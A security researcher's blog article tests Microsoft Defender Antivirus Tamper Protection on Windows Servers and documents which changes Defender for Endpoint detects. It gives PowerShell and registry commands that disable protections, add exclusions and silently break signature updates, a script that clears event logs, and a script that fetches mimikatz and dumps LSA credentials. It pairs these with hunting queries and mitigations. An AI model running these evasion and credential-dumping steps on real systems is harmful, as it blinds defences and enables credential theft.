Contents

Current limits of Defender AV Tamper Protection

Intro

In this article I explore the limits of the Microsoft Defender Antivirus (MDAV) Tamper Protection feature using only native configuration changes using mechanisms available to any user with administrative permissions. So I will not use any AV bypasses like sandboxing, token stealing or anything like this.

In addition I also documented the built-in detection capabilities of Microsoft Defender for Endpoint to show you, what alerts you can expect in your environment.

Of course I also included all information, that would be needed to detect such actions when using other EDR or SIEM solutions.

What is tamper protection?

Tamper protection is an advanced feature of Microsoft Defender Antivirus to prevent bad actors and sysadmins to change important settings or turn off MDAV detection capabilities. Currently the following configuration changes should be prevented.

  • Disabling virus and threat protection
  • Disabling real-time protection
  • Turning off behavior monitoring
  • Disabling antivirus
  • Disabling cloud-delivered protection
  • Removing security intelligence updates
  • Disabling automatic actions on detected threats

As of January 2022 this feature is supported on the following platforms

  • Windows 10
  • Windows 11
  • Windows 10 Enterprise multi-session
  • Windows 11 Enterprise multi-session
  • Windows Server 2019
  • Windows Server 2022
  • Windows Server, version 1803 or later
  • Windows Server 2016
  • Windows Server 2012 R2

Also the devices must be onboarded to Microsoft Defender for Endpoint, cloud-delivered protection must be enabled and the anti-malware platform version must be equal or above 4.18.2010.7.

Note
Tamper protection is also available for consumer versions through the GUI.

When I started this article Windows Server 2012 R2 was not yet supported. But Microsoft added support for it in early October 2021 through the new modern unified solution package. This is an updated agent version for Windows Server 2012 R2 and Windows Server 2016 that backports many features to those operating systems.

As of February 2022 this agent is still in preview, but I recommend it to everyone asking. Because of the additional OS and feature support, I rewrote the article and repeated my testing using the new agent on Windows Server 2012 R2 and for Windows Server 2016 to make sure the latest protections were in place. If you are still using the old MMA based agent, some of this may not apply to your setup.

Test environment

All systems were onboarded to Microsoft Defender for Endpoint prior to testing.

All my testing was done with tamper protection enabled and the with latest versions of the products.

  • Windows 2012 R2 Server
    • AMEngineVersion : 1.1.18800.4
    • AMProductVersion : 4.18.2111.5
    • MsSense.exe : 10.8045.22439.1013 (WinBuild.160101.0800)
  • Windows 2016 Server Core
    • AMEngineVersion : 1.1.18800.4
    • AMProductVersion : 4.18.2111.5
    • MsSense.exe : 10.8045.22439.1013 (WinBuild.160101.0800)
  • Windows 2019 Server Core
    • AMEngineVersion : 1.1.18800.4
    • AMProductVersion : 4.18.2111.5
    • MsSense.exe : 10.8040.17763.2268 (WinBuild.160101.0800)

/en/current-limits-defender-av-tamper-protection/images/TamperProtectionEnabled.png
Tamper Protection enabled

# Current Defender AV versions
Get-MpComputerStatus | Select AMEngineVersion, AMProductVersion
# Current Defender for Endpoint versions
(Get-Command 'C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe').FileVersionInfo.FileVersion

Test settings and methodology

I tested two different methods to change the configuration of Microsoft Defender Antivirus. In my first attempt I used the native PowerShell cmdlets and tooling that Microsoft provides: Set-MpPreference and MpCmdRun.exe.

In the second attempt I used a method that I describe in detail my blog post “Create persistent Defender AV exclusions and circumvent Defender for Endpoint detection”. In short, I mimic a local group policy creating the necessary registry values beneath HKLM:\SOFTWARE\Policies\Microsoft/Windows Defender and as long as there is no other group policy in place MDAV applies those settings.

Since I published the blog post Microsoft added additional detection capabilities MDE, so I’m very interested what happens.

To make the tests easily reproducible I created two scripts, one for each method. You can download those scripts

Those scripts clear the following event logs before they change any settings.

  • Microsoft-Windows-Windows Defender/Operational
  • Microsoft-Windows-Windows Defender/WHC
  • Application
  • System
  • Security

At the end of each script the event logs are exported for analysis.

Between every change there is a 60 second wait time. This makes it a easier to comb through the logs.

That said, it’s important to know that every configuration setting described in the following section will be tested using both methods.

Lets have a look at what settings I have tested.

Disable virus and threat protection features

The first few settings that I try to disable are the following

  • Scan all downloaded files and attachments
  • Turn on e-mail scanning
  • Configure the ‘Block at First Sight’ feature

Disabling any one of those settings would lower the detection capabilities of MDAV and might delay a detection.

Method 1

Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true

Method 2

# 1.1 Disable virus and threat protection features
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableIOAVProtection -Value 1 -PropertyType DWord -Force
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Scan' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name DisableEmailScanning -Value 1 -PropertyType DWord -Force
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name DisableBlockAtFirstSeen -Value 1 -PropertyType DWord -Force

Disable real-time protection

This setting would completely disable the realtime monitoring of MDAV, which essentially prevents all future detections of malware other than through scheduled scans.

Method 1

Set-MpPreference -DisableRealtimeMonitoring $true

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWord -Force

Turning off behavior monitoring

When disabling behavior monitoring another layer of Microsofts Next-generation protection Behavioral blocking and containment is turned blind or does not function properly.

Method 1

Set-MpPreference -DisableBehaviorMonitoring $true

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'DisableBehaviorMonitoring' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\DisableBehaviorMonitoring" -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWord -Force

Disable cloud-delivered protection

Cloud-delivered protection is based on the Microsoft Intelligent Security Graph and, when enabled, helps to identify threats that are not yet present in the local signature.

Method 1

Set-MpPreference -MAPSReporting 0

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name SpynetReporting -Value 0 -PropertyType DWord -Force

Disable signature updates

Info
This setting is not officially protected by tamper protection

This setting is aimed at VDI environments where you don’t want every client to download the signatures itself. The configuration allows you to download and distribute the signatures once to a file share and every client will grab them from this location.

When the value is set to an empty or wrong value, the clients can’t update their signatures from this path. But instead of falling back to Microsoft Update or any other method defined they simply do nothing at all. The difference is measurable when starting the cmdlet. When the bypass is implemented it only takes a second to finish. Normally this takes a few more seconds because the engine has to compare the signatures.

To make thing worse, there is no indication of an failed signature update. Neither in the active session nor the event log.

/en/current-limits-defender-av-tamper-protection/images/SignatureUpdateWithoutUpdate.png
Wow, faster signatures updates enabled...

I used this function to do the repeated testing.

Method 1

Set-MpPreference -SharedSignaturesPath "-"

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Signature Updates' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" -Name SharedSignatureRoot -Value "" -PropertyType String -Force

Add exclusions path

Info
This setting is not officially protected by tamper protection

Exclusions are one of the most common methods to evade detection. Currently they are not protected by tamper protection. This is most likely the case because many enterprises use exclusions as part of their normal configuration. Since those configuration changes are, in most cases, distributed to servers via group policies it is not possible for Microsoft to just block them. There is currently no way to differentiate between valid and malicious changes.

For this test I create one exclusion for one folder, that is later used in the detection test.

Method 1

Set-MpPreference -ExclusionPath "C:\AVTest"

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name 'Paths' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name Exclusions_Paths -Value 1 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\AVTest" -Value 0 -PropertyType String -Force

Disable automatic actions on detected threats

Each threat has a different threat severity or alert level. Based on this severity you can change the default behavior of the response.

Valid threat alert levels are:

  • 1 = Low
  • 2 = Medium
  • 4 = High
  • 5 = Severe

Valid remediation action values are:

  • 2 = Quarantine
  • 3 = Remove
  • 6 = Ignore

If you change the value of the remediation action to 6 (Ignore) no action is taken, regardless that the threat was detected.

Ad of 26.01.2022 there are 221092 threats in the threat catalog. The distribution based on the severity can be analyzed by using the Get-MpThreatCatalog cmdlet.

Get-MpThreatCatalog | Group-Object SeverityID -NoElement | Format-Table -AutoSize
Name Count
High 4671
Severe 213060
Medium 392
Low 2968
Unknown 1
Note
The one threat with the severity level of “Unknown” (0) is called “Unknown” and has a category of “SPP”.

Method 1

# The PowerShell cmdlet uses Allow instead of Ignore
Set-MpPreference -UnknownThreatDefaultAction Allow -LowThreatDefaultAction Allow -HighThreatDefaultAction Allow  -ModerateThreatDefaultAction Allow   -SevereThreatDefaultAction Allow

Method 2

New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatSeverityDefaultAction' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatSeverityDefaultAction' -Value 1 -PropertyType DWord -Force
1,2,4,5 | ForEach-Object {
    # Value 6 = Ignore
    New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" -Name $_ -Value 6 -PropertyType String -Force
}

Change default action for specific malware

Info
This setting is not officially protected by tamper protection

Those settings are meant to change the behavior only for specific threats. You can define the threat id as well as the action that should be taken. The action has to be specified as on of the following possible values.

  • 1 = Clean
  • 2 = Quarantine
  • 3 = Remove
  • 6 = Allow
  • 8 = UserDefined
  • 9 = NoAction
  • 10 = Block

Action 6 (Allow) is your friend and I use it for the threat id 2147519003 (Virus:DOS/EICAR_Test_File) and 2147717805 (EUS:Win32/CustomEnterpriseBlock). The former is to allow the EICAR test file everywhere on the system and the latter is related to Microsoft Defender for Endpoint detection capabilities. I will discuss this in a future blog post in more depth.

Method 1

Set-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805)

Method 2

New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatIdDefaultAction' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatIdDefaultAction' -Value 1 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147519003" -Value 6 -PropertyType String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147717805" -Value 6 -PropertyType String -Force

Removing security intelligence updates

This method removes all installed AV signatures from the device and makes it mostly blind. In combination with the signature bypass trick no new signatures would be installed.

& "$ENV:ProgramFiles\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Create and Read EICAR Test file

After applying all the configuration changes, I create two instances of the EICAR Standard Anti-Virus test file, start a manual AV scan and read the content of the file.

The first one is created in the folder excluded from AV detection. This one should not be detected, because exclusion path are not protected by tamper protection.

The second file is created in another folder not excluded from AV detection. But since I explicitly excluded the threat id for EICAR it should no be detected/acted on.

$Paths = @("C:\AVTest\", "C:\AVTest2\")
foreach ($Path in $Paths) {
    New-Item -Type Directory -Path $Path -EA 0
    Set-Location $Path
    Write-Output 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicartest.file

    Start-MpScan -ScanType CustomScan -ScanPath $Path
    Get-Content .\eicartest.file
}

Execute mimikatz

As a last test I download mimikatz from GitHub, extract the zip file to the folder with the AV excluded and dump hashes.

The AV engine should not block this, because the executable resides in the excluded folder, but Microsoft Defender for Endpoint might detect it nonetheless.

$ProgressPreference = "SilentlyContinue"
[Net.ServicePointManager]::SecurityProtocol = ([Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip"  -OutFile "mimikatz.zip"
Unblock-File "mimikatz.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath .
# Execute mimikatz
.\x64\mimikatz.exe "lsadump::lsa" "exit"
# Scan folder
Start-MpScan -ScanType CustomScan -ScanPath $Path

Revert the changes

To cleanup any changes made, I use the following scripts.

Method 1

rm "C:\AVTest\*" -Recurse -Force
rm "C:\AVTest2\*" -Recurse -Force
Remove-MpPreference -DisableIOAVProtection -DisableEmailScanning -DisableBlockAtFirstSeen -DisableRealtimeMonitoring -MAPSReporting -SharedSignaturesPath -UnknownThreatDefaultAction -LowThreatDefaultAction -HighThreatDefaultAction -ModerateThreatDefaultAction -SevereThreatDefaultAction
Remove-MpPreference -ExclusionPath "C:\AVTest"
Remove-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805)
# More on this one later
Remove-MpPreference -ThreatIDDefaultAction_Actions @(1) -ThreatIDDefaultAction_Ids @(1)
Update-MpSignature -UpdateSource MicrosoftUpdateServer

Method 2

rm "C:\AVTest\*" -Recurse -Force
rm "C:\AVTest2\*" -Recurse -Force
Remove-Item  -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender" -Force -Recurse -EA 0
gpupdate /force
Update-MpSignature -UpdateSource MicrosoftUpdateServer

Results

Regardless of the method, tamper protection prevented many of the attempted configuration changes. The used commands did not return any error message but acted like the command was successfully executed. From an attacker side this makes it easier to get spotted, since you have to double check if your changes were applied as intended.

/en/current-limits-defender-av-tamper-protection/images/ChangesWithTAeEnabled.png
PowerShell script output

The one exception was MpCmdRun.exe -RemoveDefinitions -All which ended with the following error message.

Warning
Starting engine and signature rollback to none…Failed! Error 0x80070005

/en/current-limits-defender-av-tamper-protection/images/MpCmdRunSignatureRemovalTamperProtection.png
MpCmdRun.exe -RemoveDefinitions -All

As expected the EICAR test files were created and successfully read in both cases and mimikatz was executed without any intervention.

/en/current-limits-defender-av-tamper-protection/images/EICARandMimikatz.png
EICAR test file and Mimikatz execution

Configuration changes

Looking at the running configuration using Get-MpPreference only the following settings were changed after execution of the script. Everything else was not changed, because tamper protection stepped in.

  • HighThreatDefaultAction
  • LowThreatDefaultAction
  • ModerateThreatDefaultAction
  • SevereThreatDefaultAction
  • UnknownThreatDefaultAction
  • DisableEmailScanning
  • ExclusionPath
  • SharedSignaturesPath
  • ThreatIDDefaultAction_Actions
  • ThreatIDDefaultAction_Ids

Looking at the tamper protection claims from Microsoft the following should be prevented:

  • Disabling virus and threat protection
    Partial success
  • Disabling real-time protection
    Success
  • Turning off behavior monitoring
    Success
  • Disabling antivirus
    Success
  • Disabling cloud-delivered protection
    Success
  • Removing security intelligence updates
    Success
  • Disabling automatic actions on detected threats
    Fail*

Disabling virus and threat protection

DisableIOAVProtection and DisableBlockAtFirstSeen were blocked as expected.

For some odd reason DisableEmailScanning is not protected and an attacker can currently disable this feature. Since most companies use an anti-spam and anti-malware engine like Microsoft Defender for Office 365 before even delivering the message to the end user, this has not the biggest impact.

But still, I would like to see this property protected as well.

Disabling automatic actions on detected threats

When looking at the running configuration the ThreatDefaultAction values have changed, so “Disabling automatic actions on detected threats” has failed?

Let’s have a closer look. Get-MpPreference reports back that those values are now different, but checking the corresponding registry settings tells another story. Only one value pair is created.

/en/current-limits-defender-av-tamper-protection/images/ThreatDefaultAction_Registry.png
Changed ThreatDefaultAction registry value

And that is for threat severity 0 (Unknown). Funny enough Microsoft let’s you set this settings via their own cmdlet, but on the other hand the admx files only list values 1,2,4,5 as valid.

/en/current-limits-defender-av-tamper-protection/images/ThreatDefaultAction.png
Event log entries

As you can see in the event log there are four entries regarding blocked changes and one entry telling you something has changed.

/en/current-limits-defender-av-tamper-protection/images/ThreatDefaultAction_EventLogDetails.png
Event log detailed view

It seems since 0 (unknown) is not a valid configuration, the developers did not bother to implement tamper protection for it.

To be sure I checked this manually. I changed the ThreatDefaultAction values and created an EICAR file. And Microsoft Defender Antivirus ignored the wrongfully displayed values and removed the test file. So after all this is either a clever trick to throw off an attacker or some kind of display bug. The tamper protection is still intact.

/en/current-limits-defender-av-tamper-protection/images/ThreatDefaultActionDetection.png
Operation did not complete successfully because the file contains a virus or potentially unwanted software.

  • Disabling automatic actions on detected threats
    Fail Success

Detections

Let’s have a look at what was detected in Microsoft Defender Antivirus, the event logs and Microsoft Defender for Endpoint.

If a detection is only valid for one of the attack methods, I will mention this respectively.

If not otherwise mentioned the detection was the same for all OS versions.

Defender AV

Microsoft Defender Antivirus did not recognize any of the threats. That is expected as the changes I made to folder exclusions and threat handling should result in this behavior.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_Get-MpThreat.png

Event Logs

I exported the event logs Application, System, Security, “Windows Defender/Operational” and “Windows Defender/WHC”.

For this use case “Windows Defender/Operational” is the only log that has interesting and actionable information.

When you are using any EDR solution other than Microsoft Defender for Endpoint the following event Ids are interesting for you. You should definitely monitor those event ids so you can create alerts.

5007 - The antimalware platform configuration changed

This event is triggered if there was an successful change to the configuration. You can extract the old and new value from this event to make an alert that only triggers if certain values are set.

LogName Microsoft-Windows-Windows Defender/Operational
Source Windows Defender
EventID 5007
EventData The antimalware platform configuration changed.
Microsoft Defender Antivirus configuration has changed. If this is an unexpected event, you should review the settings as this may be the result of malware.
Old value: Old antivirus configuration value.
New value: New antivirus configuration value.

/en/current-limits-defender-av-tamper-protection/images/EventId5007.png
Event Id 5007 - The antimalware platform configuration changed

5013 - Tamper protection blocked a change to Microsoft Defender Antivirus

This event is triggered when a change was attempted but blocked by Tamper Protection.

LogName Microsoft-Windows-Windows Defender/Operational
Source Windows Defender
EventID 5013
EventData Tamper protection blocked a change to Microsoft Defender Antivirus.

/en/current-limits-defender-av-tamper-protection/images/EventId5013.png
Event Id 5013 - Tamper protection blocked a change to Microsoft Defender Antivirus

PowerShell

If you want to check the system you are currently connected to you can filter for those events using PowerShell.

Get-WinEvent -FilterHashtable @{logname = 'Microsoft-Windows-Windows Defender/Operational'; id = @(5007,5013)} | fl TimeCreated, Message

Defender for Endpoint alerts

Method 1

The following alerts triggered when running the script using method 1.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_MDEAlerts.png
MDE alerts when using Set-MpPreference

As you can see the execution of mimikatz was far from silent, even if it was not blocked by the AV engine.

  • Mimikatz credential theft tool
  • ‘Cryptor’ malware was detected
  • Malicious credential theft tool execution detected

Also there are alerts for the used RDP session triggering a “Suspicious RDP session” alert on each of the servers.

Warning
A combination of several suspicious RDP session activities has been detected in this device. Attackers might be attempting to establish a foothold in the environment by using various reconnaissance and persistence methods, then evade detection by tampering with and turning off security features to complete their objectives.

On the Windows Server 2012 R2 machine there was also an additional alert “Event log was cleared”

Method 2

Using PowerShell to create the registry values in the policies registry key was much more noisy and resulted in additional alerts. As you can see in the screenshot all of the alerts from method 1 were raised, but in addition to those, nine “Attempt to turn off Microsoft Defender Antivirus protection” alerts were triggered.

/en/current-limits-defender-av-tamper-protection/images/Policies_MDEAlerts.png
MDE alerts when modifying the policies registry key

When analyzing the alert in more detail it get’s clear that for each change to DisableIOAVProtection, DisableRealtimeMonitoring and SpynetReporting a separate alert was raised.

/en/current-limits-defender-av-tamper-protection/images/Policies_MDEAlertDetails.png
MDE alert process tree

This additional detection makes me happy, since it means that Microsoft not only has added those registry values to their monitoring, but also created intelligent rules that detect when an unauthorized process is responsible for those changes. This is exactly what I proposed in my earlier blog post on this matter.

Timeline

In the Microsoft Defender for Endpoint timeline for each server there were detections on the change attempts I made.

While Windows Server 2016 and Windows Server 2019 had the exact same results …

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_Windows2019_ClearEventLogs.png
MDE timeline - Clear event logs on Windows 2016 + 2019

… on the Windows Server 2012 R2 server there was the additional alert and the presentation is more compact.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_Windows2012R2_ClearEventLogs.png
MDE timeline - Clear event logs on Windows 2012 R2

On all systems the attempts to tamper with the configuration were detected and reported in the timeline. The only change that was reported and made is the creation of the AV exclusion.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_Windows2012R2_TamperProtection.png
MDE timeline - Tamper protection events

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_TamperProtection_RegistryExample.png
MDE timeline - DisableRealTimeMonitoring

This is the complete list of reported tamper attempts.

  • ThreatSeverityDefaultAction-1
  • ThreatSeverityDefaultAction-2
  • ThreatSeverityDefaultAction-4
  • ThreatSeverityDefaultAction-5
  • DisableIOAVProtection
  • DisableBlockAtFirstSeen
  • DisableRealtimeMonitoring
  • DisableBehaviorMonitoring
  • SpyNetReporting

What it didn’t catch were the changes to SharedSignatureRoot, DisableEmailScanning and ThreatIdDefaultAction.

The execution of MpCmdRun.exe, which was used to try to remove the signatures, was captured.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_Windows2016_MpCmdRun.png
MDE timeline - MpCmdRun.exe

In the detailed view of this event you can see the used parameters.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_MpCmdRunParameters.png
MDE timeline - MpCmdRun.exe -RemoveDefinitions -All

What is also missing is the creation of the EICAR test file. I did not find any trace of this in the logs.

As for mimikatz. There are events all over the place. From downloading the file from GitHub, to the execution and detection everything is documented.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_DownloadMimikatz.png
MDE timeline - Download mimikatz from GitHub

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_AlertMimikatz.png
MDE timeline - Alert execution of mimikatz

Method 2

Most of the detections were exactly the same, so here are the differences.

Since the method of how I set the values is different, in this case we see a bunch of registry events to the Policies key.

/en/current-limits-defender-av-tamper-protection/images/Policies_Windows2019_SetRegistry.png
MDE timeline - Set registry values

What you might already have spotted, in there between all the changes are TamperingAttempt events. When removing the filter you also can see the alert that is generated for those attempts.

/en/current-limits-defender-av-tamper-protection/images/Policies_Timeline_RegistryAlert.png
MDE timeline - Alert on registry changes by powershell.exe

The addition of the AV exclusion is also recorded.

/en/current-limits-defender-av-tamper-protection/images/Policies_Timeline_Registry.png
MDE timeline - AV exclusion created

In this case as before, the read/write activity on the eicartest.file is not listed.

Advanced Hunting

All mentioned events are also accessible using advanced hunting and can be used to create custom detections in Microsoft Defender for Endpoint. I will not go in the details of the execution of mimikatz or the creation of the EICAR test file, but keep to the tamper protection events.

Registry modifications

For method 1 and method 2 I have to use different queries, because the different methods write to different parts of the registry.

Method 1
DeviceRegistryEvents
| where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender"
| sort by Timestamp

Only one change to the registry is monitored. This is mainly because the other changes were not made. Tamper protection prevented any changes and therefor there was nothing to monitor.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_AdvancedHunting_Registry.png
Advanced Hunting - RegistryValueSet AV Exclusion

The on change that can be found is the change to the Exclusions_Paths registry value.
But as it was in the timeline, the following changed registry values were not registered or monitored at all

  • SharedSignatureRoot
  • DisableEmailScanning
  • ThreatIdDefaultAction
  • ThreatSeverityDefaultAction-0*
    * There was only one RegistryValueSet event for value 0 which is not valid, all others writes where prevented by tamper protection
Method 2

The second method changes registry values within the Policies registry key. Those registry keys are not protected by tamper protection, but since they are only one possible configuration source for MDAV this does not affect the active configuration as long as tamper protection is active.

DeviceRegistryEvents
| where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender"
| sort by Timestamp

This is the reason why you can see many successful RegistryValueSet events. And as it was the case with method 1, Microsoft does not seem to monitor the following registry values.

  • SharedSignatureRoot
  • DisableEmailScanning
  • ThreatIdDefaultAction
  • ThreatSeverityDefaultAction (all)

/en/current-limits-defender-av-tamper-protection/images/Policies_AdvancedHunting_Registry.png
Advanced Hunting - RegistryValueSet Policies

The result is the same for method 1 and 2: The most important parts of the running configuration are protected, and no changes to protected values where written.

Process creation

To hunt for attempts to remove the AV definitions you can search the DeviceProcessEvents process table and filter for ProcessCommandLine containing “RemoveDefinitions”.

DeviceProcessEvents
| where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe"
| where ProcessCommandLine has "RemoveDefinitions"
| project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine

/en/current-limits-defender-av-tamper-protection/images/MpCmdRunSignatureRemovalAdvancedHunting.png

Tamper protection

Advanced hunting has additional information for you to act on. There is an ActionType TamperingAttempt in the DeviceEvents table and when queried you can see where tamper protection did its job.

DeviceEvents
| where ActionType contains "TamperingAttempt"
| where Timestamp between (datetime(2022-01-26T17:10:00.000Z) .. datetime(2022-01-26T17:35:00.439Z))
| extend AdditionalFields = todynamic(AdditionalFields)
| extend TamperingAction = tostring(AdditionalFields.['TamperingAction'])
| extend Status = tostring(AdditionalFields.['Status'])
| extend Target = tostring(AdditionalFields.['Target'])
| extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2")
| extend OriginalValue = tostring(AdditionalFields.['OriginalValue'])
| extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue'])
| extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty)
| project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId
| sort by Timestamp

The query above will result in a complete list of all blocked attempts to change registry values. For all devices you can not only see which value should be changed, but also the original value and the process responsible for the change. Since some additional information is only accessible through the AdditionalFields column you have to work a bit harder to get to it.

In the custom alerts section of this blog post I included a more advanced version of this query. This query allows you to directly alert on critical tamper attempts while excluding the noise that can be introduced when managing your environment with Endpoint Configuration Manager (SCCM) or GPOs.

Method 1

All blocked changes where recorded successfully.

/en/current-limits-defender-av-tamper-protection/images/Set-MpPreferences_AdvancedHunting_TamperingAttempt.png
Advanced Hunting - Tampering attempts

Method 2

The result is exactly the same using the method. On all three devices modifications to the registry values are blocked.

/en/current-limits-defender-av-tamper-protection/images/Policies_AdvancedHunting_TamperingAttempt.png
Advanced Hunting - Tampering attempts summary

/en/current-limits-defender-av-tamper-protection/images/Policies_AdvancedHunting_TamperingAttemptDetails.png
Advanced Hunting - Details

One major difference both methods is the InitiatingProcessCommandLine, InitiatingProcessAccountName and Status

While in method 1 the InitiatingProcessCommandLine is wmiprvse.exe -secured -Embedding it is powershell.exe in method 2.

The InitiatingProcessAccountName is either S-1-5-19 (local service) or using method 2 the user who changes the values.

Status is either Blocked or Ignored. Changes made to MDAV using GPO are not blocked but ignored. This behavior is documented.

Group policy doesn’t apply to tamper protection. Changes made to Microsoft Defender Antivirus settings are ignored when tamper protection is on.

Clear event log

Even if it was not part of the test, with the following KQL query you can detect the clearing of the security log.

DeviceEvents
| where ActionType == "SecurityLogCleared"

Detection overview

This is a comprehensive list of the Microsoft Defender for Endpoint detection results.

  • Alert
    Was an alert created?
  • TL = Timeline
    Was there any event in the timeline related to this test?
  • AdvH = Advanced Hunting
    Can you query events related to this test using advanced hunting?

Microsoft tweeks alert creation based on all data they have at their disposal, you might not always see an alert where you expect one because the filters and logic applied prevent a creation. Also keep in mind that tamper protection prevented any changes to the system that would result in a disabled MDAV. Check out the custom alerts part of this blog post to add more verbose alerting if you like this in your environment.

Note
Since Microsoft, as most hosted EDR solution provider, do not publish their alert logic this table is only valid for the date I created it. Microsoft might add alerting for any of those events at a later date.
Test No. Category Description Alert TL AdvH
1 Use Set-MpPreference
1.1 MDAV Disable virus and threat protection features No Yes Yes
1.2 MDAV Disable real-time protection No Yes Yes
1.3 MDAV Turning off behavior monitoring No Yes Yes
1.4 MDAV Disable cloud-delivered protection No Yes Yes
1.5 MDAV Disable signature updates No No No
1.6 MDAV Add exclusions path No Yes Yes
1.7 MDAV Disable automatic actions on detected threats No Yes Yes
1.8 MDAV Change default action for specific malware No No No
1.9 MDAV Removing security intelligence updates No Yes Yes
1.10 MDAV Read EICAR test file No No No
1.11 MDAV Execution of mimikatz Yes Yes Yes
2 Use registry to modify local policies
2.1 MDAV Disable virus and threat protection features Yes Yes Yes
2.2 MDAV Disable real-time protection Yes Yes Yes
2.3 MDAV Turning off behavior monitoring No Yes Yes
2.4 MDAV Disable cloud-delivered protection Yes Yes Yes
2.5 MDAV Disable signature updates No No No
2.6 MDAV Add exclusions path No Yes Yes
2.7 MDAV Disable automatic actions on detected threats No Yes Yes
2.8 MDAV Change default action for specific malware No No No
2.9 MDAV Removing security intelligence updates No Yes Yes
2.10 MDAV Read EICAR test file No No No
2.11 MDAV Execution of mimikatz Yes Yes Yes

This concludes the section on detection.

Current limitations

Tamper protection delivers great additional protection for any enterprise. All of the advertised protections are working as expected.

The limitations of this technology is the current scope of protected settings. The following settings can still tamper with the detection of threats or signature updates but are not under the umbrella of tamper protection.

  • ExclusionPath
  • SharedSignaturesPath
  • ThreatIDDefaultAction_Actions
  • ThreatIDDefaultAction_Ids

But there are easy mitigation techniques you can implement, so those attack vectors are closed until Microsoft extend Tamper Protection to even more settings.

Mitigation

Exclusions path

Should you manage your Windows client endpoints with Intune change the following setting Disable local admin merge in your security baseline to Yes.

